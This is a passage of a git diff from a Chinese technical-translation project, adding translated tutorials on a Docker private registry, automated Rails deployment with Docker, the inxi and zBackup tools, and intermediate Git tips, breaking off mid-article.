+接下来是更好玩的部分。实现我所描述的东西着实花了我一点时间,所以如果你第一次读的话就耐心一点吧,跟着我一起操作。我知道接下来的东西会非常复杂(如果你不自动化这个过程就一定会这样),但是我保证到最后你一定都能明白。在下一篇文章里我将会使用到一大波shell脚本和Rake任务,通过它们实现自动化并且用简单的命令实现部署Rails应用。 + +你在终端上运行的docker命令实际上都是使用boot2docker虚拟机来运行容器及各种东西。所以当你执行像`docker push some_repo`这样的命令时,是boot2docker虚拟机在与registry交互,而不是我们自己的机器。 + +接下来是一个非常重要的点:为了将Docker镜像推送到远端的私有仓库,SSH管道需要在boot2docker虚拟机上配置好,而不是在你的本地机器上配置。 + +有许多种方法实现它。我给你展示最简短的一种(可能不是最容易理解的,但是能够帮助你实现自动化) + +在这之前,我们需要对 SSH 做最后一点工作。 + +### 设置 SSH ### + +让我们把boot2docker 的 SSH key添加到远端服务器的“已知主机”里面。我们可以使用ssh-copy-id工具完成,通过下面的命令就可以安装上它了: + + brew install ssh-copy-id + +然后运行: + + ssh-copy-id -i /Users/username/.ssh/id_boot2docker root@your-registry.com + +用你ssh key的真实路径代替`/Users/username/.ssh/id_boot2docker`。 + +这样做能够让我们免密码登录SSH。 + +现在我们来测试以下: + + boot2docker ssh "ssh -o 'StrictHostKeyChecking no' -i /Users/michelangelo/.ssh/id_boot2docker -N -L 5000:localhost:5000 root@registry.touchwa.re &" & + +分开阐述: + +- `boot2docker ssh`允许你以参数的形式传递给boot2docker虚拟机一条执行的命令; +- 最后面那个`&`表明这条命令将在后台执行; +- `ssh -o 'StrictHostKeyChecking no' -i /Users/michelangelo/.ssh/id_boot2docker -N -L 5000:localhost:5000 root@registry.touchwa.re &`是boot2docker虚拟机实际运行的命令; + - `-o 'StrictHostKeyChecking no'`——不提示安全问题; + - `-i /Users/michelangelo/.ssh/id_boot2docker`指出虚拟机使用哪个SSH key来进行身份验证。(注意这里的key应该是你前面添加到远程仓库的那个) + - 最后我们将打开一条端口5000映射到localhost:5000的SSH通道。 + +### 从其他服务器上拉取 ### + +你现在将可以通过下面的简单命令将你的镜像推送到远端仓库: + + docker push localhost:5000/username/repo_name + +在下一篇[文章][9]中,我们将会了解到如何自动化处理这些事务,并且真正地容器化一个Rails应用。请继续收听! + +如有错误,请不吝指出。祝你Docker之路顺利! + + +-------------------------------------------------------------------------------- + +via: http://cocoahunter.com/2015/01/23/docker-2/ + +作者:[Michelangelo Chasseur][a] +译者:[DongShuaike](https://github.com/DongShuaike) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://cocoahunter.com/author/michelangelo/ +[1]:https://linux.cn/article-5339-1.html +[2]:http://cocoahunter.com/2015/01/23/docker-3/ +[3]:http://cocoahunter.com/2015/01/23/docker-2/#fn:1 +[4]:http://cocoahunter.com/2015/01/23/docker-2/#fn:2 +[5]:http://aws.amazon.com/ +[6]:https://registry.hub.docker.com/_/registry/ +[7]:http://localhost:5000/v1/_ping +[8]:http://localhost:5000/v1/search +[9]:http://cocoahunter.com/2015/01/23/docker-3/ +[10]:http://boot2docker.io/ +[11]:https://github.com/docker/docker-registry/ diff --git a/published/201505/20150128 Docker-3 Automated Docker-based Rails deployments.md b/published/201505/20150128 Docker-3 Automated Docker-based Rails deployments.md new file mode 100644 index 0000000000..be256ff1da --- /dev/null +++ b/published/201505/20150128 Docker-3 Automated Docker-based Rails deployments.md @@ -0,0 +1,246 @@ +自动化部署基于Docker的Rails应用 +================================================================================ +![](http://cocoahunter.com/content/images/2015/01/docker3.jpeg) + +[TL;DR] 这是系列文章的第三篇,讲述了我的公司是如何将基础设施从PaaS移植到Docker上的。 + +- [第一部分][1]:谈论了我接触Docker之前的经历; +- [第二部分][2]:一步步搭建一个安全而又私有的registry。 + +---------- + +在系列文章的最后一篇里,我们将用一个实例来学习如何自动化整个部署过程。 + +### 基本的Rails应用程序### + +现在让我们启动一个基本的Rails应用。为了更好的展示,我使用Ruby 2.2.0和Rails 4.1.1 + +在终端运行: + + $ rvm use 2.2.0 + $ rails new && cd docker-test + +创建一个基本的控制器: + + $ rails g controller welcome index + +……,然后编辑 `routes.rb` ,以便让该项目的根指向我们新创建的welcome#index方法: + + root 'welcome#index' + +在终端运行 `rails s` ,然后打开浏览器,登录[http://localhost:3000][3],你会进入到索引界面当中。我们不准备给应用加上多么神奇的东西,这只是一个基础的实例,当我们将要创建并部署容器的时候,用它来验证一切是否运行正常。 + +### 安装webserver ### + +我们打算使用Unicorn当做我们的webserver。在Gemfile中添加 `gem 'unicorn'`和 `gem 'foreman'`然后将它bundle起来(运行 `bundle install`命令)。 + +启动Rails应用时,需要先配置好Unicorn,所以我们将一个**unicorn.rb**文件放在**config**目录下。[这里有一个Unicorn配置文件的例子][4],你可以直接复制粘贴Gist的内容。 + +接下来,在项目的根目录下添加一个Procfile,以便可以使用foreman启动应用,内容为下: + + web: bundle exec unicorn -p $PORT -c ./config/unicorn.rb + +现在运行**foreman start**命令启动应用,一切都将正常运行,并且你将能够在[http://localhost:5000][5]上看到一个正在运行的应用。 + +### 构建一个Docker镜像 ### + +现在我们构建一个镜像来运行我们的应用。在这个Rails项目的根目录下,创建一个名为**Dockerfile**的文件,然后粘贴进以下内容: + + # 基于镜像 ruby 2.2.0 + FROM ruby:2.2.0 + + # 安装所需的库和依赖 + RUN apt-get update && apt-get install -qy nodejs postgresql-client sqlite3 --no-install-recommends && rm -rf /var/lib/apt/lists/* + + # 设置 Rails 版本 + ENV RAILS_VERSION 4.1.1 + + # 安装 Rails + RUN gem install rails --version "$RAILS_VERSION" + + # 创建代码所运行的目录 + RUN mkdir -p /usr/src/app + WORKDIR /usr/src/app + + # 使 webserver 可以在容器外面访问 + EXPOSE 3000 + + # 设置环境变量 + ENV PORT=3000 + + # 启动 web 应用 + CMD ["foreman","start"] + + # 安装所需的 gems + ADD Gemfile /usr/src/app/Gemfile + ADD Gemfile.lock /usr/src/app/Gemfile.lock + RUN bundle install --without development test + + # 将 rails 项目(和 Dockerfile 同一个目录)添加到项目目录 + ADD ./ /usr/src/app + + # 运行 rake 任务 + RUN RAILS_ENV=production rake db:create db:migrate + +使用上述Dockerfile,执行下列命令创建一个镜像(确保**boot2docker**已经启动并在运行当中): + + $ docker build -t localhost:5000/your_username/docker-test . + +然后,如果一切正常,长长的日志输出的最后一行应该类似于: + + Successfully built 82e48769506c + $ docker images + REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE + localhost:5000/your_username/docker-test latest 82e48769506c About a minute ago 884.2 MB + +让我们运行一下容器试试! + + $ docker run -d -p 3000:3000 --name docker-test localhost:5000/your_username/docker-test + +通过你的boot2docker虚拟机的3000号端口(我的是[http://192.168.59.103:3000][6]),你可以观察你的Rails应用。(如果不清楚你的boot2docker虚拟地址,输入` $ boot2docker ip`命令查看。) + +### 使用shell脚本进行自动化部署 ### + +前面的文章(指文章1和文章2)已经告诉了你如何将新创建的镜像推送到私有registry中,并将其部署在服务器上,所以我们跳过这一部分直接开始自动化进程。 + +我们将要定义3个shell脚本,然后最后使用rake将它们捆绑在一起。 + +### 清除 ### + +每当我们创建镜像的时候, + +- 停止并重启boot2docker; +- 去除Docker孤儿镜像(那些没有标签,并且不再被容器所使用的镜像们)。 + +在你的工程根目录下的**clean.sh**文件中输入下列命令。 + + echo Restarting boot2docker... + boot2docker down + boot2docker up + + echo Exporting Docker variables... + sleep 1 + export DOCKER_HOST=tcp://192.168.59.103:2376 + export DOCKER_CERT_PATH=/Users/user/.boot2docker/certs/boot2docker-vm + export DOCKER_TLS_VERIFY=1 + + sleep 1 + echo Removing orphaned images without tags... + docker images | grep "" | awk '{print $3}' | xargs docker rmi + +给脚本加上执行权限: + + $ chmod +x clean.sh + +### 构建 ### + +构建的过程基本上和之前我们所做的(docker build)内容相似。在工程的根目录下创建一个**build.sh**脚本,填写如下内容: + + docker build -t localhost:5000/your_username/docker-test . + +记得给脚本执行权限。 + +### 部署 ### + +最后,创建一个**deploy.sh**脚本,在里面填进如下内容: + + # 打开 boot2docker 到私有注册库的 SSH 连接 + boot2docker ssh "ssh -o 'StrictHostKeyChecking no' -i /Users/username/.ssh/id_boot2docker -N -L 5000:localhost:5000 root@your-registry.com &" & + + # 在推送前先确认该 SSH 通道是开放的。 + echo Waiting 5 seconds before pushing image. + + echo 5... + sleep 1 + echo 4... + sleep 1 + echo 3... + sleep 1 + echo 2... + sleep 1 + echo 1... + sleep 1 + + # Push image onto remote registry / repo + echo Starting push! + docker push localhost:5000/username/docker-test + +如果你不理解这其中的含义,请先仔细阅读这部分[第二部分][2]。 + +给脚本加上执行权限。 + +### 使用rake将以上所有绑定 ### + +现在的情况是,每次你想要部署你的应用时,你都需要单独运行这三个脚本。 + +1. clean +1. build +1. deploy / push + +这一点都不费工夫,可是事实上开发者比你想象的要懒得多!那么咱们就索性再懒一点! + +我们最后再把工作好好整理一番,我们现在要将三个脚本通过rake捆绑在一起。 + +为了更简单一点,你可以在工程根目录下已经存在的Rakefile中添加几行代码,打开Rakefile文件,把下列内容粘贴进去。 + + namespace :docker do + desc "Remove docker container" + task :clean do + sh './clean.sh' + end + + desc "Build Docker image" + task :build => [:clean] do + sh './build.sh' + end + + desc "Deploy Docker image" + task :deploy => [:build] do + sh './deploy.sh' + end + end + +即使你不清楚rake的语法(其实你真应该去了解一下,这玩意太酷了!),上面的内容也是很显然的吧。我们在一个命名空间(docker)里声明了三个任务。 + +三个任务是: + +- rake docker:clean +- rake docker:build +- rake docker:deploy + +Deploy独立于build,build独立于clean。所以每次我们输入命令运行的时候。 + + $ rake docker:deploy + +所有的脚本都会按照顺序执行。 + +### 测试 ### + +现在我们来看看是否一切正常,你只需要在app的代码里做一个小改动: + + $ rake docker:deploy + +接下来就是见证奇迹的时刻了。一旦镜像文件被上传(第一次可能花费较长的时间),你就可以ssh登录产品服务器,并且(通过SSH管道)把docker镜像拉取到服务器并运行了。多么简单! + +也许你需要一段时间来习惯,但是一旦成功,它几乎与用Heroku部署一样简单。 + +备注:像往常一样,请让我了解到你的意见。我不敢保证这种方法是最好,最快,或者最安全的Docker开发的方法,但是这东西对我们确实奏效。 + +-------------------------------------------------------------------------------- + +via: http://cocoahunter.com/2015/01/23/docker-3/ + +作者:[Michelangelo Chasseur][a] +译者:[DongShuaike](https://github.com/DongShuaike) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://cocoahunter.com/author/michelangelo/ +[1]:https://linux.cn/article-5339-1.html +[2]:https://linux.cn/article-5379-1.html +[3]:http://localhost:3000/ +[4]:https://gist.github.com/chasseurmic/0dad4d692ff499761b20 +[5]:http://localhost:5000/ +[6]:http://192.168.59.103:3000/ + diff --git a/published/201505/20150205 Inxi--Find System And Hardware Information On Linux.md b/published/201505/20150205 Inxi--Find System And Hardware Information On Linux.md new file mode 100644 index 0000000000..abbfc030cf --- /dev/null +++ b/published/201505/20150205 Inxi--Find System And Hardware Information On Linux.md @@ -0,0 +1,172 @@ +Inxi:获取Linux的系统和硬件信息 +================================================================================ + +我们已经展示了一些不同的[应用程序][1]和方法来获取Linux的系统和硬件信息。在这一系列里,我们将看到如何使用**inxi**来获取这些详情信息。在论坛技术支持中,它可以作为调试工具,迅速确定用户的系统配置和硬件信息。 + +**Inxi**是一个可以获取完整的系统和硬件详情信息的命令行工具,内容包括: + +- 硬件 +- CPU +- 磁盘驱动器 +- Xorg +- 桌面环境 +- 内核 +- GCC版本 +- 进程 +- 内存占用 +- 和其他有用的信息 + +### 安装方法 ### + +Inxi在多数现代GNU/Linux操作系统的默认软件仓库中。所以我们可以简单地运行下列命令安装。 + +**在基于Debian的发行版:** + + sudo apt-get install inxi + +**在Fedora:** + + sudo yum install inxi + +**在基于RHEL的发行版:** + +安装EPEL软件仓库: + + sudo yum install epel-release + +然后使用如下命令安装inxi: + + sudo yum install inxi + +### 使用方法 ### + +在终端运行如下命令可以获取系统的概况信息。 + + inxi + +**示例输出:** + + CPU~Dual core Intel Core i3-2350M CPU (-HT-MCP-) clocked at Min:800.000Mhz Max:1200.000Mhz Kernel~3.13.0-45-generic x86_64 Up~6:41 Mem~1537.7/3861.3MB HDD~500.1GB(52.5% used) Procs~183 Client~Shell inxi~1.9.17 + +当然,我们可以获取一个特定硬件的详情信息。比如获取**声音/音频硬件详情信息**,可以运行如下命令: + + inxi -A + +**示例输出:** + + Audio: Card: Intel 6 Series/C200 Series Family High Definition Audio Controller driver: snd_hda_intel + Sound: Advanced Linux Sound Architecture ver: k3.13.0-45-generic + +很酷是吧? + +同样的,你可以获取**显卡**的详情信息。 + + inxi -G + +**示例输出:** + + Graphics: Card: Intel 2nd Generation Core Processor Family Integrated Graphics Controller + X.Org: 1.15.1 drivers: intel (unloaded: fbdev,vesa) Resolution: 1366x768@60.0hz + GLX Renderer: Mesa DRI Intel Sandybridge Mobile GLX Version: 3.0 Mesa 10.3.0 + +硬盘信息呢?也是可以的。运行如下命令来获取完整的**硬盘**信息。 + + inxi -D + +**示例输出:** + + Drives: HDD Total Size: 500.1GB (52.5% used) 1: id: /dev/sda model: ST9601325BD size: 500.1GB + +显示Bios和主板详情信息: + + inxi -M + +**示例输出:** + + Machine: System: Dell (portable) product: Inspiron N5050 + Mobo: Dell model: 01HXXJ version: A05 Bios: Dell version: A05 date: 08/03/2012 + +不仅是硬性详情信息,它也可以显示我们系统中的**可用软件仓库列表**。 + + inxi -r + +**示例输出:** + + Repos: Active apt sources in file: /etc/apt/sources.list + deb http://ubuntu.excellmedia.net/archive/ trusty main restricted + deb-src http://ubuntu.excellmedia.net/archive/ trusty main restricted + deb http://ubuntu.excellmedia.net/archive/ trusty-updates main restricted + deb-src http://ubuntu.excellmedia.net/archive/ trusty-updates main restricted + deb http://ubuntu.excellmedia.net/archive/ trusty universe + . + . + Active apt sources in file: /etc/apt/sources.list.d/intellinuxgraphics.list + deb https://download.01.org/gfx/ubuntu/14.04/main trusty main #Intel Graphics drivers + Active apt sources in file: /etc/apt/sources.list.d/linrunner-tlp-trusty.list + Active apt sources in file: /etc/apt/sources.list.d/wseverin-ppa-trusty.list + deb http://ppa.launchpad.net/wseverin/ppa/ubuntu trusty main + +Inxi还可以显示你所在位置的天气信息。感到意外吗?是的,它可以。 + + inxi -W Erode,Tamilnadu + +这里**Erode**是地区,**Tamilnadu**是印度的一个邦。 + +示例输出: + + Weather: Conditions: 79 F (26 C) - Clear Time: February 4, 6:00 PM IST + +### 查看完整的硬件详情信息 ### + +厌倦了逐一获取每种硬件的信息?你可以使用如下命令将所有信息一次列出: + + inxi -F + +**示例输出:** + + System: Host: sk Kernel: 3.13.0-45-generic x86_64 (64 bit) Desktop: LXDE (Openbox 3.5.2) Distro: Ubuntu 14.04 trusty + Machine: System: Dell (portable) product: Inspiron N5050 + Mobo: Dell model: 01HXXJ version: A05 Bios: Dell version: A05 date: 08/03/2012 + CPU: Dual core Intel Core i3-2350M CPU (-HT-MCP-) cache: 3072 KB flags: (lm nx sse sse2 sse3 sse4_1 sse4_2 ssse3 vmx) + Clock Speeds: 1: 800.00 MHz 2: 1000.00 MHz 3: 800.00 MHz 4: 800.00 MHz + Graphics: Card: Intel 2nd Generation Core Processor Family Integrated Graphics Controller + X.Org: 1.15.1 drivers: intel (unloaded: fbdev,vesa) Resolution: 1366x768@60.0hz + GLX Renderer: Mesa DRI Intel Sandybridge Mobile GLX Version: 3.0 Mesa 10.3.0 + Audio: Card: Intel 6 Series/C200 Series Family High Definition Audio Controller driver: snd_hda_intel + Sound: Advanced Linux Sound Architecture ver: k3.13.0-45-generic + Network: Card-1: Qualcomm Atheros AR9285 Wireless Network Adapter (PCI-Express) driver: ath9k + IF: wlan0 state: up mac: + Card-2: Realtek RTL8101E/RTL8102E PCI Express Fast Ethernet controller driver: r8169 + IF: eth0 state: down mac: + Drives: HDD Total Size: 500.1GB (52.5% used) 1: id: /dev/sda model: ST9500325AS size: 500.1GB + Partition: ID: / size: 455G used: 245G (57%) fs: ext4 ID: /boot size: 236M used: 159M (72%) fs: ext2 + ID: swap-1 size: 4.19GB used: 0.00GB (0%) fs: swap + RAID: No RAID devices detected - /proc/mdstat and md_mod kernel raid module present + Sensors: System Temperatures: cpu: 64.5C mobo: N/A + Fan Speeds (in rpm): cpu: N/A + Info: Processes: 186 Uptime: 6:52 Memory: 1547.2/3861.3MB Client: Shell (bash) inxi: 1.9.17 + +就像上面你看到的那样,inxi显示出了完整的硬件详情信息。 + +更多的细节可以参考man手册。 + + man inxi + +### 结论 ### + +你在寻找一个可以显示完整的系统和硬件详情信息的简单工具吗?那么不用再找了,inxi会提供你所需要的。并且,它还是在你系统默认的软件仓库中的轻量级工具。你还想要更多东西吗?试一试它,你不会失望。 + +欢呼吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/inxi-find-system-hardware-information-linux/ + +作者:[SK][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:https://linux.cn/article-1947-1.html diff --git a/published/201505/20150205 zBackup--A versatile deduplicating backup tool.md b/published/201505/20150205 zBackup--A versatile deduplicating backup tool.md new file mode 100644 index 0000000000..c0d9e85128 --- /dev/null +++ b/published/201505/20150205 zBackup--A versatile deduplicating backup tool.md @@ -0,0 +1,60 @@ +zBackup:一个多功能的去重备份工具 +================================================================================ +zbackup是一个基于rsync思想的全局去重数据备份工具。给它传入一个大的tar文件后,它会仅存储一次该文件的重复部分,然后对结果进行压缩,并根据参数确定是否对其加密。传入另一个tar文件后,它会从之前的已备份文件中复用重复数据。只有新的改动会被保存,并且只要文件差异不是很大,需要的存储空间非常少。无论何时,之前的已备份文件都可以被完整地读出来。 + +### zBackup特性 ### + +- 使用并行的LZMA或者LZO压缩算法压缩已备份数据 +- 使用内置的AES加密算法加密已备份数据 +- 可以删除旧的已备份数据 +- 使用一个64位滚动哈希,保持软碰撞数量为0 +- 备份库由不可更改的文件组成,只有库中不存在的文件才能修改 +- 使用C++语言编写,并且只有适量的依赖库 +- 可以在生产环境安全使用 +- 可以在不同备份库中交换数据而无需重新压缩 + +### 在ubuntu中安装zBackup ### + +打开终端并运行如下命令: + + sudo apt-get install zbackup + +### 使用zBackup ### + +`zbackup init`命令会初始化一个备份库,用来存放待备份的数据。 + + zbackup init [--non-encrypted] [--password-file ~/.my_backup_password ] /my/backup/repo + +`zbackup backup`命令备份一个由`tar c`命令创建的tar文件到刚才使用`zbackup init`初始化的备份库。(LCTT 译注:实际使用时类似这样,tar c files | zbackup ...) + + zbackup [--password-file ~/.my_backup_password ] [--threads number_of_threads ] backup /my/backup/repo/backups/backup-`date ‘+%Y-%m-%d'` + +`zbackup restore`命令从备份库中恢复一个已备份文件到tar文件中。 + + zbackup [--password-file ~/.my_backup_password ] [--cache-size cache_size_in_mb ] restore /my/backup/repo/backups/backup-`date ‘+%Y-%m-%d'` > /my/precious/backup-restored.tar + +### 可用选项 ### + +- -non-encrypted -- 不加密备份库。 +- --password-file ~/.my_backup_password -- 使用位于~/.my_backup_password的口令文件来加密备份库和待备份文件,以及解密已备份文件。 +- --threads number_of_threads -- 限制并行LZMA压缩的线程数为 number_of_threads。建议在32位的系统平台使用。 +- --cache-size cache_size_in_mb -- 使用cache_size_in_mb中的缓存大小来加速恢复文件的过程。 + +### 上述命令中 zBackup 相关文件 ### + +- ~/.my_backup_password 用来加密备份库和待备份文件,以及解密已备份文件。更多细节见zbackup。 +- /my/backup/repo 存放备份库的目录。 +- /my/precious/restored-tar 用来恢复已备份文件的tar文件。 +- /my/backup/repo/backups/backup-`date ‘+%Y-%m-%d'` 指定的之前已备份文件的文件名。 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/zbackup-a-versatile-deduplicating-backup-tool.html + +作者:[ruchi][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix diff --git a/published/201505/20150211 25 Tips for Intermediate Git Users.md b/published/201505/20150211 25 Tips for Intermediate Git Users.md new file mode 100644 index 0000000000..205c83aaef --- /dev/null +++ b/published/201505/20150211 25 Tips for Intermediate Git Users.md @@ -0,0 +1,469 @@ +25个 Git 进阶技巧 +================================================================================ +我已经使用git差不多18个月了,觉得自己对它应该已经非常了解。然后来自GitHub的[Scott Chacon][1]过来给LVS做培训([LVS是一个赌博软件供应商和开发商][2],从2013年开始的合同),而我在第一天里就学到了很多。 + +作为一个对git感觉良好的人,我觉得分享从社区里掌握的一些有价值的信息,也许能帮某人解决问题而不用做太深入研究。 + +### 基本技巧 ### + +#### 1. 安装后的第一步 #### + +在安装好git后,你第一件该做的事是设置你的名字和电子邮箱,因为每次提交都要用到这些信息: + + $ git config --global user.name "Some One" + $ git config --global user.email "someone@gmail.com" + +#### 2. Git是基于指针的 #### + +保存在git里的一切都是文件。当你创建一个提交的时候,会建立一个包含你的提交信息和相关数据(名字,邮件地址,日期/时间,前一个提交,等等)的文件,并把它链接到一个树文件中。这个树文件中包含了对象或其他树的列表。这里的提到的对象(或二进制大对象)是和本次提交相关的实际内容(它也是一个文件,另外,尽管文件名并没有包含在对象里,但是存储在树中)。所有这些文件都使用对象的SHA-1哈希值作为文件名。 + +用这种方式,分支和标签就是简单的文件(基本上是这样),包含指向该提交的SHA-1哈希值。使用这些索引会带来优秀的灵活性和速度,比如创建一个新分支就是简单地用分支名字和所分出的那个提交的SHA-1索引来创建一个文件。当然,你不需要自己做这些,而只要使用Git命令行工具(或者GUI),但是实际上就是这么简单。 + +你也许听说过叫HEAD的索引。这只是简单的一个文件,包含了你当前指向的那个提交的SHA-1索引值。如果你正在解决一次合并冲突然后看到了HEAD,这并不是一个特别的分支或分支上的一个必需的特殊位置,只是标明你当前所在位置。 + +所有的分支指针都保存在.git/refs/heads里,HEAD在.git/HEAD里,而标签保存在.git/refs/tags里 - 自己可以随便进去看看。 + +#### 3. 两个爸爸(父节点) - 你没看错! #### + +在历史中查看一个合并提交的信息时,你将看到有两个父节点(不同于工作副本上的常规提交的情况)。第一个父节点是你所在的分支,第二个是你合并过来的分支。 + +#### 4. 合并冲突 #### + +目前我相信你碰到过合并冲突并且解决过。通常是编辑一下文件,去掉<<<<,====,>>>>标志,保留需要留下的代码。有时能够看到这两个修改之前的代码会很不错,比如,在这两个现在冲突的分支之前的改动。下面是一种方式: + + $ git diff --merge + diff --cc dummy.rb + index 5175dde,0c65895..4a00477 + --- a/dummy.rb + +++ b/dummy.rb + @@@ -1,5 -1,5 +1,5 @@@ + class MyFoo + def say + - puts "Bonjour" + - puts "Hello world" + ++ puts "Annyong Haseyo" + end + end + +如果是二进制文件,比较差异就没那么简单了...通常你要做的就是测试这个二进制文件的两个版本来决定保留哪个(或者在二进制文件编辑器里手工复制冲突部分)。从一个特定分支获取文件拷贝(比如说你在合并master和feature123两个分支): + + $ git checkout master flash/foo.fla # 或者... + $ git checkout feature132 flash/foo.fla + $ # 然后... + $ git add flash/foo.fla + +另一种方式是通过git输出文件 - 你可以输出到另外的文件名,然后当你决定了要用哪个后,再将选定的正确文件复制为正常的文件名: + + $ git show master:flash/foo.fla > master-foo.fla + $ git show feature132:flash/foo.fla > feature132-foo.fla + $ # 检出master-foo.fla和feature132-foo.fla + $ # 假如说我们决定来自feature132的文件是正确的 + $ rm flash/foo.fla + $ mv feature132-foo.fla flash/foo.fla + $ rm master-foo.fla + $ git add flash/foo.fla + +更新:感谢Carl在原博客文章上评论里的提醒,你实际上可以用“git checkout —ours flash/foo.fla”和“git checkout —theirs flash/foo.fla”来检出特定版本的文件,而不用记住你在合并的分支名字。就我个人来说喜欢更精确一点,但这也是一种方式... + +记着在解决完冲突后要将文件加入提交(像我上面做的那样)。 + +### 服务器,分支和标签 ### + +#### 5. 远端服务器 #### + +git的一个超强大的功能就是可以有不止一个远端服务器(实际上你一直都在一个本地仓库上工作)。你并不是一定都要有这些服务器的写权限,你可以有多个可以读取的服务器(用来合并他们的工作)然后写入到另外一个仓库。添加一个新的远端服务器很简单: + + $ git remote add john git@github.com:johnsomeone/someproject.git + +如果你想查看远端服务器的信息可以这样做: + + # 显示每个远端服务器的URL + $ git remote -v + + # 提供更多详细信息 + $ git remote show name + +你随时都可以查看本地分支和远端分支的差异: + + $ git diff master..john/master + +你也可以查看没有在远端分支上的HEAD的改动: + + $ git log remote/branch.. + # 注意:..后面没有结束的特定引用 + +#### 6. 标签 #### + +在git里有两种类型的标签 - 轻量级标签和带注释标签。记住技巧2里说过git是基于指针的,这两者之间的差异也很简单。轻量级标签只是一个简单的指向一次提交的带名字指针。你随时都可以将它指向另一个提交。带注释标签是一个指向标签对象的带名字指针,带有自己的信息和历史。因为有自己的信息,它可以根据需要用GPG签名。 + +建立这两种类型的标签都很简单(只有一个命令行开关的差异) + + $ git tag to-be-tested + $ git tag -a v1.1.0 # 会提示输入标签的信息 + +#### 7. 建立分支 #### + +在git里建立分支非常简单(而且像闪电一样快,因为它只需要创建一个小于100字节的文件)。用普通方式建立新分支并切换过去: + + $ git branch feature132 + $ git checkout feature132 + +当然,如果你确定自己直接切换到新建的分支,可以用一个命令实现: + + $ git checkout -b feature132 + +如果你想重命名一个本地分支也很简单(可以显示发生了什么的较长的方式): + + $ git checkout -b twitter-experiment feature132 + $ git branch -d feature132 + +更新:你也可以(像Brian Palmer在原博客文章的评论里提出的)只用“git branch”的-m开关在一个命令里实现(像Mike提出的,如果你只指定了一个分支参数,就会重命名当前分支): + + $ git branch -m twitter-experiment + $ git branch -m feature132 twitter-experiment + +#### 8. 合并分支 #### + +也许在将来的某个时候,你希望将改动合并。有两种方式: + + $ git checkout master + $ git merge feature83 # 或者... + $ git rebase feature83 + +merge和rebase之间的差别是merge会尝试处理改动并建立一个新的混合了两者的提交。rebase会尝试把你从一个分支最后一次分离后的所有改动,一个个加到该分支的HEAD上。不过,在已经将分支推到远端服务器后不要再rebase了 - 这会引起冲突/问题。 + +如果你不确定在哪些分支上还有独有的工作 - 所以你也不知道哪些分支需要合并而哪些可以删除,git branch有两个开关可以帮你: + + # 显示已经全部合并到当前分支的分支 + $ git branch --merged + + # 显示没有合并到当前分支的分支 + $ git branch --no-merged + +#### 9. 远端分支 #### + +如果你在本地有一个分支希望推到远端服务器上,你可以用一行命令推送上去: + + $ git push origin twitter-experiment:refs/heads/twitter-experiment + # origin是我们服务器的名字,而twitter-experiment是分支名字 + +更新:感谢Erlend在原博客文章上的评论 - 这个实际上和`git push origin twitter-experiment`效果一样,不过使用完整的语法,你可以在两者之间使用不同的分支名(这样本地分支可以是`add-ssl-support`而远端是`issue-1723`)。 + +如果你想在远端服务器上删除一个分支(注意分支名前面的冒号): + + $ git push origin :twitter-experiment + +如果你想查看所有远端分支的状态可以这样做: + + $ git remote show origin + +这个命令可能会列出服务器上一些以前有过但现在已经不在了的分支。如果碰到这种情况你可以用下面的命令从你本地分支里清理掉: + + $ git remote prune + +最后,如果你想在本地跟踪一个远端分支,普通的方式是: + + $ git branch --track myfeature origin/myfeature + $ git checkout myfeature + +不过,新版的git在使用-b标记检出分支时会自动设定跟踪: + + $ git checkout -b myfeature origin/myfeature + +### 在储藏点,索引和文件系统中保存内容 ### + +#### 10. 储藏 #### + +在git里你可以把当前工作状态放进一个储藏堆栈中,然后可以再取出来。最简单的情形是下面这样: + + $ git stash + # 做点其他事情... + $ git stash pop + +许多人建议使用`git stash apply`来代替pop,不过如果这样做的话最后会遗留一个很长的储藏列表。而“pop”会在全部加载后自动从堆栈中移除。如果使用过`git stash apply`,你也可以使用下面的命令从堆栈上移除最后一项: + + $ git stash drop + +git会基于当前的提交信息自动创建评论。如果你更希望有自定义信息的话(因为它可能和前一个提交没有任何联系): + + $ git stash save "My stash message" + +如果你希望从列表中取出一个特定的储藏点(不一定非得是最后一个)可以先列出它们然后用下面的方式取出: + + $ git stash list + stash@{0}: On master: Changed to German + stash@{1}: On master: Language is now Italian + $ git stash apply stash@{1} + +#### 11. 交互式添加 #### + +在subversion的世界里你只能修改文件然后提交所有改动。而在git里你有强大得多的方式来提交部分文件或者甚至是部分补丁。提交部分文件或文件中的部分改动你需要进入交互式模式: + + $ git add -i + staged unstaged path + + + *** Commands *** + 1: status 2: update 3: revert 4: add untracked + 5: patch 6: diff 7: quit 8: help + What now> + +这会让你进入一个基于菜单的交互式提示。你可以使用命令中的数字或高亮的字母(如果你在终端里打开了高亮的话)来进入相应的模式。然后就只是输入你希望操作的文件的数字了(你可以使用这样的格式,1或者1-4或2,4,7)。 + +如果你想进入补丁模式(交互式模式下按‘p’或‘5’),你也可以直接进入: + + $ git add -p + diff --git a/dummy.rb b/dummy.rb + index 4a00477..f856fb0 100644 + --- a/dummy.rb + +++ b/dummy.rb + @@ -1,5 +1,5 @@ + class MyFoo + def say + - puts "Annyong Haseyo" + + puts "Guten Tag" + end + end + Stage this hunk [y,n,q,a,d,/,e,?]? + +你可以看到下方会有一些选项供选择用来添加该文件的这个改动、该文件的所有改动,等等。使用‘?’命令可以详细解释这些选项。 + +#### 12. 从文件系统里保存/取回改动 #### + +有些项目(比如Git项目本身)在git文件系统中直接保存额外文件而并没有将它们加入到版本控制中。 + +让我们从在git中存储一个随机文件开始: + + $ echo "Foo" | git hash-object -w --stdin + 51fc03a9bb365fae74fd2bf66517b30bf48020cb + 